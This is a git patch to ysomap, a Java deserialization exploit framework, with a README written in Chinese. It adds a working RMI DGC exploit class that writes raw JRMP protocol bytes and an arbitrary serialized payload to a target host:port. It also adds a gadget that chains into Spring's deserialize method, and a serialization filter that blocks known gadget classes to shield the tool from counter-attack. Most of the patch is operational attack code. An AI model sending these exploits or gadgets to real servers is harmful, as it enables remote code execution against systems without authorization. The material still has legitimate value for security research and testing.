From b4de351a1303ce7d3730efaf38b078414fd620ec Mon Sep 17 00:00:00 2001 From: wh1t3p1g Date: Tue, 23 Nov 2021 12:58:43 +0800 Subject: [PATCH] fix deserialization vul --- README.md | 51 ++++++---- cli/src/main/java/ysomap/cli/Console.java | 2 + .../jdk/ProxyLazyValueWithDSBullet.java | 36 +++++++ .../ysomap/core/ObjectInputFilterManager.java | 86 ++++++++++++++++ .../core/serializer/SerializerFactory.java | 6 +- .../ysomap/core/util/ReflectionHelper.java | 11 ++- .../ysomap/exploits/rmi/RMIDGCExploit.java | 98 +++++++++++++++++++ .../rmi/component/MarshalOutputStream.java | 2 +- 8 files changed, 271 insertions(+), 21 deletions(-) create mode 100644 core/src/main/java/ysomap/bullets/jdk/ProxyLazyValueWithDSBullet.java create mode 100644 core/src/main/java/ysomap/core/ObjectInputFilterManager.java create mode 100644 core/src/main/java/ysomap/exploits/rmi/RMIDGCExploit.java diff --git a/README.md b/README.md index 5f628e4..ee39b68 100755 --- a/README.md +++ b/README.md @@ -1,35 +1,50 @@ # YSOMAP ![Platforms](https://img.shields.io/badge/Platforms-OSX-green.svg) -![Java version](https://img.shields.io/badge/Java-8%2b-blue.svg) +![Java version](https://img.shields.io/badge/Java-8-blue.svg) ![License](https://img.shields.io/badge/License-apache%202-green.svg) -Ysomap is A helpful Java Deserialization exploit framework based on ysoserial +Ysomap is A helpful Java Deserialization exploit framework. -Ysomap是一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload,以应对不同场景下的反序列化利用。 +Ysomap是一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload。 + +随着利用链的补充,ysomap同样可作为一款Java反序列化利用链教学库。目前,ysomap支持Java原生反序列化利用链、fastjson利用链、hessian利用链、xmldecoder、xstream等等。 + +另外,ysomap具备exploit模块,用于充分调动反序列化利用链。目前,ysomap已支持RMI、JNDI、JMX、shiro、xmlrpc等exploits。 -此外,ysomap支持多种exploits,用于生成或配置一些evil server,或者是常见漏洞的exp。 -``` -[+] exploits(11) payloads(31) bullets(28) -``` ## #1 如何使用 -### 生成 -由于最新版XStream的payload需要JDK8的环境进行编译,所以后续运行需在JDK8的环境下运行 +在谈如何使用ysomap之前,假设使用者有一定的Java反序列化利用的前置知识,以及一些常见利用的原理,如rmi、ldap等。 + +### Jar编译 -使用`mvn clean package -DskipTests` +由于XStream的几个payload依赖JDK8的环境,所以后续的使用均在JDK8的环境下编译并运行 -生成的jar位于`cli/target/ysomap.jar` +```bash +mvn clean package -DskipTests +``` -版本>=v0.0.1支持两种运行模式 +正常编译不出错,可在`cli/target`目录找到ysomap.jar -1. cli模式 -执行`java -jar ysomap.jar cli`,终端模式 - -2. script模式 -执行`java -jar ysomap.jar script /path/to/script.yso`,脚本模式 +当然,你也可以直接下载[release](https://github.com/wh1t3p1g/ysomap/releases),但还是推荐自行clone后编译,因为大版本的更新将积攒一批利用链后才会发布release。 + +### Jar运行 +> Note: 为了解决反制的问题,目前采用的是jdk8的ObjectInputFilter。在jdk11中,该对象改了package,所以最新版本是无法运行在jdk11上的 +> 所以ysomap的后续版本编译及运行都将在jdk8的版本,不支持jdk11及以上 +> 预计jdk8环境在国内仍能坚持一段时间,等未来再扩展jdk11及以上 + +经过几次迭代,目前ysomap支持两种运行模式:终端cli模式和脚本模式 + +终端模式 +```bash +java -jar ysomap.jar cli +``` +脚本模式 +```bash +java -jar ysomap.jar script path/to/script.yso +``` +终端模式更易于选择和配置exploit、payload、bullet,但对于重复性的配置,终端模式显的格外繁琐。所以后续又增加了脚本模式。通过编写特定配置的yso脚本,使用ysomap进行载入调用。脚本模式在正确配置的前提下将极大的节省使用者输入重复配置的工作量,提高使用效率。同时,yso脚本也可以被分享给其他使用者进行快捷使用。 -ps: 后续版本为了适配XStream的相关gadget加入了很多jdk的对象,所以如果要使用xstream的gadget,ysomap最好运行在jdk8的环境下。 ### 基础使用方法 参见[YSOMAP食用指北](https://github.com/wh1t3p1g/ysomap/wiki/YSOMAP%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97) diff --git a/cli/src/main/java/ysomap/cli/Console.java b/cli/src/main/java/ysomap/cli/Console.java index a1dcc62..e78456c 100644 --- a/cli/src/main/java/ysomap/cli/Console.java +++ b/cli/src/main/java/ysomap/cli/Console.java @@ -19,6 +19,7 @@ import ysomap.common.exception.YsoClassNotFoundException; import ysomap.common.exception.YsoFileNotFoundException; import ysomap.common.util.Logger; +import ysomap.core.ObjectInputFilterManager; import java.io.File; import java.io.IOException; @@ -51,6 +52,7 @@ public void init(){ exploits = loadMetaData("ysomap.exploits", Exploits.class); payloads = loadMetaData("ysomap.payloads", Payloads.class); bullets = loadMetaData("ysomap.bullets", Bullets.class); + ObjectInputFilterManager.setup(); Logger.success("exploits("+exploits.values().size()+") payloads("+payloads.values().size()+") bullets("+bullets.values().size()+")"); } diff --git a/core/src/main/java/ysomap/bullets/jdk/ProxyLazyValueWithDSBullet.java b/core/src/main/java/ysomap/bullets/jdk/ProxyLazyValueWithDSBullet.java new file mode 100644 index 0000000..d9f3525 --- /dev/null +++ b/core/src/main/java/ysomap/bullets/jdk/ProxyLazyValueWithDSBullet.java @@ -0,0 +1,36 @@ +package ysomap.bullets.jdk; + +import ysomap.bullets.Bullet; +import ysomap.common.annotation.*; + +import javax.swing.*; + +/** + * @author wh1t3P1g + * @since 2021/1/4 + */ +@Bullets +@Dependencies({"jdk"}) +@Details("依赖spring框架触发二次反序列化") +@Targets({Targets.XSTREAM, Targets.HESSIAN}) +@Authors({Authors.WH1T3P1G}) +public class ProxyLazyValueWithDSBullet implements Bullet { + + @NotNull + @Require(name = "serialized", detail = "序列化后的byte数组,非console配置,请勿用") + public byte[] serialized; + + @Override + public UIDefaults.ProxyLazyValue getObject() throws Exception { + String classname = "org.springframework.util.SerializationUtils"; + String methodName = "deserialize"; + Object[] evilargs = new Object[]{serialized}; + return new UIDefaults.ProxyLazyValue(classname, methodName, evilargs); + } + + public static Bullet newInstance(Object... args) throws Exception { + Bullet bullet = new ProxyLazyValueWithDSBullet(); + bullet.set("serialized", args[0]); + return bullet; + } +} diff --git a/core/src/main/java/ysomap/core/ObjectInputFilterManager.java b/core/src/main/java/ysomap/core/ObjectInputFilterManager.java new file mode 100644 index 0000000..e90d885 --- /dev/null +++ b/core/src/main/java/ysomap/core/ObjectInputFilterManager.java @@ -0,0 +1,86 @@ +package ysomap.core; + +import sun.misc.ObjectInputFilter; +import ysomap.core.util.ReflectionHelper; + +import java.util.Arrays; + +/** + * @author wh1t3p1g + * @since 2021/11/23 + */ +public class ObjectInputFilterManager { + + private static ObjectInputFilter filter = new ObjectWhitelistFilter(); + + public static void setup(){ + try{ + ObjectInputFilter.Config.setSerialFilter(filter); + } catch (IllegalStateException e){ + try { + ReflectionHelper.setStaticFieldValue(ObjectInputFilter.Config.class, "serialFilter", filter); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + } + + public static void suspend() throws Exception { + ReflectionHelper.setStaticFieldValue(ObjectInputFilter.Config.class, "serialFilter", null); + } + + public static class ObjectWhitelistFilter implements ObjectInputFilter{ + + private static final String[] whitelist = new String[]{ + "java.", + "com.sun.", + "com.oracle.", + "javax." + }; + + private static final String[] blacklist = new String[]{ + "com.sun.jndi.ldap.LdapAttribute", + "com.sun.jndi.rmi.registry.BindingEnumeration", + "com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl", + "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", + "com.sun.rowset.JdbcRowSetImpl", + "com.sun.syndication.feed.impl.ObjectBean", + "com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data", + "java.net.URL", + "java.rmi.registry.Registry", + "java.rmi.server.ObjID", + "java.rmi.server.RemoteObjectInvocationHandler", + "java.rmi.server.UnicastRemoteObject", + "java.util.ServiceLoader$LazyIterator", + "javax.imageio.ImageIO$ContainsFilter", + "javax.management.BadAttributeValueExpException", + "javax.management.MBeanServerInvocationHandler", + "javax.management.openmbean.CompositeDataInvocationHandler", + "javax.naming.spi.ObjectFactory", + }; + + @Override + public Status checkInput(FilterInfo filterInfo) { + Class clazz = getSerialClass(filterInfo); + if(clazz != null){ + if(clazz.isPrimitive() || + (Arrays.stream(whitelist).anyMatch(pre -> clazz.getName().startsWith(pre)) + && Arrays.stream(blacklist).noneMatch(cl -> cl.equals(clazz.getName())))){ + return Status.ALLOWED; + } + return Status.REJECTED; + } + return Status.UNDECIDED; + } + + public Class getSerialClass(FilterInfo filterInfo){ + Class clazz = filterInfo.serialClass(); + if(clazz.isArray()){ + do { + clazz = clazz.getComponentType(); + } while (clazz.isArray()); + } + return clazz; + } + } +} diff --git a/core/src/main/java/ysomap/core/serializer/SerializerFactory.java b/core/src/main/java/ysomap/core/serializer/SerializerFactory.java index e075586..c5a1dd1 100755 --- a/core/src/main/java/ysomap/core/serializer/SerializerFactory.java +++ b/core/src/main/java/ysomap/core/serializer/SerializerFactory.java @@ -2,6 +2,7 @@ import ysomap.bullets.Bullet; import ysomap.common.util.Logger; +import ysomap.core.ObjectInputFilterManager; import ysomap.core.serializer.hessian.HessianSerializer; import ysomap.core.serializer.json.FastJsonSerializer; import ysomap.core.serializer.json.JacksonJsonSerializer; @@ -67,8 +68,11 @@ public static void serialize(String current, Serializer serializer, Object obj) } public static Object test(Payload payload, Bullet bullet) throws Exception { + ObjectInputFilterManager.suspend(); Serializer serializer = payload.getSerializer(); payload.setBullet(bullet); - return serializer.deserialize(serializer.serialize(payload.getObject())); + Object obj = serializer.deserialize(serializer.serialize(payload.getObject())); + ObjectInputFilterManager.setup(); + return obj; } } diff --git a/core/src/main/java/ysomap/core/util/ReflectionHelper.java b/core/src/main/java/ysomap/core/util/ReflectionHelper.java index d5ad4e0..b8ff9ed 100755 --- a/core/src/main/java/ysomap/core/util/ReflectionHelper.java +++ b/core/src/main/java/ysomap/core/util/ReflectionHelper.java @@ -32,7 +32,16 @@ public static Field getField(final Class clazz, final String fieldName) { public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); - field.set(obj, value); + if(field != null) { + field.set(obj, value); + } + } + + public static void setStaticFieldValue(final Class clazz, final String fieldName, final Object value) throws Exception { + final Field field = getField(clazz, fieldName); + if(field != null){ + field.set(clazz, value); + } } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { diff --git a/core/src/main/java/ysomap/exploits/rmi/RMIDGCExploit.java b/core/src/main/java/ysomap/exploits/rmi/RMIDGCExploit.java new file mode 100644 index 0000000..69244e7 --- /dev/null +++ b/core/src/main/java/ysomap/exploits/rmi/RMIDGCExploit.java @@ -0,0 +1,98 @@ +package ysomap.exploits.rmi; + +import sun.rmi.transport.TransportConstants; +import ysomap.common.annotation.*; +import ysomap.common.util.Status; +import ysomap.exploits.AbstractExploit; +import ysomap.exploits.rmi.component.MarshalOutputStream; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketException; +import java.net.UnknownHostException; + +/** + * @author wh1t3p1g + * @since 2021/11/23 + */ +@Exploits +@Authors({Authors.MBECHLER}) +@Require(bullets = {"all gadgets"}, param = false) +@Details("RMI底层JRMP的dgc实现存在反序列化漏洞。\n" + + "当前利用需要设置一个payload") +public class RMIDGCExploit extends AbstractExploit { + + @NotNull + @Require(name = "target", detail = "target RMI Registry host:port, like localhost:1099") + public String target; + + @NotNull + public Object payload; + + public String payloadName; + + @Override + public void work() { + String[] detail = target.split(":"); + if(detail.length == 2){ + try { + makeDGCCall(detail[0], Integer.parseInt(detail[1]), payload); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + + @Override + public void stop() { + status = Status.STOPPED; + } + + public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } +} diff --git a/core/src/main/java/ysomap/exploits/rmi/component/MarshalOutputStream.java b/core/src/main/java/ysomap/exploits/rmi/component/MarshalOutputStream.java index 78f60b2..cf0cd00 100755 --- a/core/src/main/java/ysomap/exploits/rmi/component/MarshalOutputStream.java +++ b/core/src/main/java/ysomap/exploits/rmi/component/MarshalOutputStream.java @@ -19,7 +19,7 @@ public MarshalOutputStream (OutputStream out, URL u) throws IOException { this.sendUrl = u; } - MarshalOutputStream ( OutputStream out ) throws IOException { + public MarshalOutputStream ( OutputStream out ) throws IOException { super(out); }